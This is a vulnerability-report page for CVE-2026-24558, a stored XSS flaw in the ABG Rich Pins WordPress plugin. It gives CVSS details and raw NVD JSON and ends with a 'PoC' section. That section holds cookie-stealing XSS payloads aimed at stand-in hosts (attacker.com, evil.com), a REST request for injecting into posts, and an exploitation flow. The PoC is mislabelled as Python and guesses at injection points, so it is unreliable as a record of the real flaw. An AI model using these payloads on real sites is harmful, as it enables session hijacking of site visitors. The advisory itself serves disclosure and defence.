Security Vulnerability Report
中文
CVE-2026-24558 CVSS 6.5 MEDIUM

CVE-2026-24558

Published: 2026-01-23 15:16:13
Last Modified: 2026-04-28 15:16:14

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in antoniobg ABG Rich Pins abg-rich-pins allows Stored XSS.This issue affects ABG Rich Pins: from n/a through <= 1.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ABG Rich Pins <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-24558 PoC - Stored XSS in ABG Rich Pins WordPress Plugin // This PoC demonstrates the stored XSS vulnerability in ABG Rich Pins plugin <= 1.1 // Method 1: Inject via WordPress Post Content // When creating/editing a post, insert the following payload in the post content: const payload1 = `<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">`; // Method 2: Inject via Custom Fields (if plugin uses them) const payload2 = `<script>new Image().src='https://evil.com/steal?c='+document.cookie;</script>`; // Method 3: Inject via Plugin Settings (if any input fields exist) const payload3 = `<svg onload="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">`; // Exploitation flow: // 1. Attacker creates a post with XSS payload in content // 2. Plugin saves the post without sanitizing the payload // 3. When any user views the post page, the payload executes // 4. Attacker steals session cookies or performs other malicious actions // Example HTTP Request to trigger the vulnerability: const exploitRequest = { method: 'POST', url: '/wp-json/wp/v2/posts', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_NONCE_HERE' }, body: JSON.stringify({ title: 'Test Post', content: '<p>Normal content with <img src=x onerror="alert(document.cookie)"> injected</p>', status: 'publish' }) }; // Mitigation: Plugin should use wp_kses() or similar functions to sanitize input // Example fix in PHP: // $sanitized_content = wp_kses($user_input, array('img' => array('src' => array()))); // Or use esc_html() for HTML context output

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24558", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:13.043", "lastModified": "2026-04-28T15:16:13.937", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in antoniobg ABG Rich Pins abg-rich-pins allows Stored XSS.This issue affects ABG Rich Pins: from n/a through <= 1.1."}, {"lang": "es", "value": "Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') en antoniobg ABG Rich Pins abg-rich-pins permite XSS Almacenado. Este problema afecta a ABG Rich Pins: desde n/d hasta &lt;= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/abg-rich-pins/vulnerability/wordpress-abg-rich-pins-plugin-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}